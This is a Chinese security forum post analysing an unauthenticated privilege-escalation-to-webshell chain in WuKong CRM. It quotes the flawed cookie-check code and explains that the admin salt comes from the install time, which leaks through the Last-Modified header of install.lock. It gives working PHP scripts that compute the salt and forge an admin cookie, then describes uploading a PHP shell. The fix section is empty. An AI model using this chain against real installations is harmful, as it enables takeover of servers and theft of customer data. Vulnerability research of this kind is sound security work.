HanDs
管理员

[7月漏洞公开] 悟空CRM从无任何权限到Getshell漏洞分析 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

这是一个无需账户的getshell。
此漏洞专为打某人脸,哈哈~ 附带一个判断某某的小技巧,较实用。

详细说明:

悟空CRM大部分功能是需要登录,登录以后的漏洞比较鸡肋,那么我发一个越权,从无任意权限到拿下管理员权限,到getshell。

看到检查权限的类 App/Lib/Behavior/AuthenticateBehavior.class.php:

code 区域
class AuthenticateBehavior extends Behavior {
protected $options = array();

public function run(&$params) {
$m = MODULE_NAME;
$a = ACTION_NAME;
$allow = $params['allow'];
$permission = $params['permission'];

if(!session('?user_id') && intval(cookie('user_id')) != 0 && trim(cookie('name')) != '' && trim(cookie('salt_code')) != ''){
$user = M('user')->where(array('user_id' => intval(cookie('user_id'))))->find();
if (md5(md5($user['user_id'] . $user['name']).$user['salt']) == trim(cookie('salt_code'))) {
$d_role = D('RoleView');
$role = $d_role->where('user.user_id = %d', $user['user_id'])->find();
if($user['category_id'] == 1){
session('admin', 1);
}
session('role_id', $role['role_id']);
session('position_id', $role['position_id']);
session('role_name', $role['role_name']);
session('department_id', $role['department_id']);
session('name', $user['name']);
session('user_id', $user['user_id']);
}
}

if (session('?admin')) {
return true;
}
if (in_array($a, $permission)) {
return true;
} elseif (session('?position_id') && session('?role_id')) {
...



看到这里:

if (md5(md5($user['user_id'] . $user['name']).$user['salt']) == trim(cookie('salt_code')))

这里,如果cookie salt_code正确的话,将设置session,可以导致权限的绕过。那么这个if语句,我们看看有哪些值是不知道的。以管理员为例:

$user['user_id'] : 已知,为1

$user['name'] : 已知,为admin

$user['salt'] : 未知

cookie('salt_code') :已知,为我传入的cookie



那么,实际上这个if语句只有一个参数是未知的,那就是salt。我们看看salt是怎么生成的:

/App/Lib/Action/InstallAction.class.php 216行:

code 区域
$salt = substr(md5(time()),0,4);
$password = md5(md5(trim($password)) . $salt);
$db->query('insert into ' . C('DB_PREFIX') . 'user (role_id, category_id, status, name, password, salt, reg_ip, reg_time) values (1, 1, 1, "'.$name.'", "'.$password.'", "'.$salt.'", "'.get_client_ip().'", '.time().')');
touch(CONF_PATH . "install.lock");



可见:

$salt = substr(md5(time()),0,4);

salt只和time()有关的,也就是说,只要知道了安装的时候的时间,就可以知道管理员的salt。

那么,如何知道安装的时间呢?

1.跑,猜测。这个方法也不是完全不可行,但明显不优雅。

2.通过Last-Modified得知

这里2就是我要说的小技巧。

在HTTP协议里,当我们请求一些静态文件的时候,服务器默认会将这个文件的修改时间作为Last-Modified这个头的值返回。

那么我们看到以上代码的最后一行

touch(CONF_PATH . "install.lock");

这里创建了一个install.lock文件,我们请求一下这个文件看看:

QQ20160406-0@2x.png



这里果然返回了一个时间,我写了个小脚本,来计算管理员的salt:

code 区域
<?php
date_default_timezone_set('UTC');
$time = strtotime('Tue, 05 Apr 2016 03:40:28 GMT');
$salt = substr(md5($time),0,4);
echo $salt;



将Last-Modified的值填入strtotime函数,即可计算当时的时间戳,进而计算salt:

QQ20160406-1@2x.png



看看是否计算正确:

QQ20160406-2@2x.png



妥妥正确。



我再通过salt生成一个cookie:

code 区域
<?php
date_default_timezone_set('UTC');
$time = strtotime('Tue, 05 Apr 2016 03:40:28 GMT');
$salt = substr(md5($time),0,4);
echo $salt;
echo "\n";

$user_id = 1;
$name = 'admin';

$cookie = md5(md5($user_id . $name).$salt);
echo "user_id=1; name=admin; salt_code={$cookie};";
echo "\n";



QQ20160406-3@2x.png



将这个cookie填入HTTP数据包:

QQ20160406-4@2x.png



即可作为管理员访问悟空crm。然后,修改上传允许的后缀,加个php即可:

QQ20160406-5@2x.png



来到合同处( **.**.**.**/wukongcrm/index.php?m=contract&a=add ),在编辑器里上传shell:

QQ20160406-6@2x.png



QQ20160406-7@2x.png



拿下!

QQ20160406-8@2x.png

漏洞证明:

修复方案:


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
悟空
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复